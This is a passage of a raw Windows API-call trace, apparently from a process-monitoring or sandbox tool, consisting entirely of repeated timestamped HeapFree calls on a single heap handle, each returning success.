	[0189.033] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.034] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.035] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.035] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.036] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.048] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.049] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.050] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.050] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.051] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.051] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.051] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.052] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.052] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.052] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.053] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.053] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0189.058] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.059] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.059] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0189.063] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.070] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.070] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.070] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.075] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.076] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.076] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.077] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.077] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.078] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.399] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.400] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.400] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.408] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.409] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.410] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.410] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.410] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.410] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.410] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0189.416] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.422] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.422] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.422] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.427] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.428] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.428] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.429] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.430] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.431] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.431] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.432] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.433] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.436] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.438] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.439] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.439] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.439] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.440] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.441] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.441] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.442] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.443] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.443] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.443] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.499] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.499] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.500] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.500] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.500] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.500] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.501] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.501] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.501] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.502] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.503] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.504] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.504] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.506] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.506] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.506] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.506] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0189.510] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.516] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.516] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.516] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.519] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.520] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.521] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.522] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.522] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.523] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.524] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.525] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.525] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.526] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.527] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.528] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.529] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.530] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.530] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.531] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.532] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.532] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.533] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.534] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.534] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.535] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.536] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.537] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.541] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.541] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.542] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.542] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.543] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.543] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.651] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.651] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.651] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.652] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.652] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.652] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.652] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.652] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.652] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0189.655] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.655] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.656] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0189.656] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.657] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.657] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.657] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.657] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.657] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.658] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.658] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.658] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.658] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.659] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.660] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.660] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.661] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.662] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.666] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.666] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.667] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.668] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.669] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.670] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.671] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.672] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.673] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.674] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.676] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.677] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.678] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.679] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.682] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.683] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.684] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.685] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.685] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.685] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.685] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0189.689] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.689] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.690] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0189.730] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.732] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.732] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.732] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.736] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.737] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.738] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.738] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.739] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.740] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.741] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.742] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.742] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.743] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.744] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.745] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.746] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.746] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.747] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.748] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.748] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.749] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.750] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.751] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.751] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.751] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.752] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.753] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.753] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.754] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.755] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.755] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.755] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.756] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.756] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.757] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.757] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.758] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.758] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0189.758] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.758] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0189.760] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0190.345] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.345] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.346] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.346] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.346] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.346] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.347] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.347] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.347] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.348] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.348] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0190.348] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
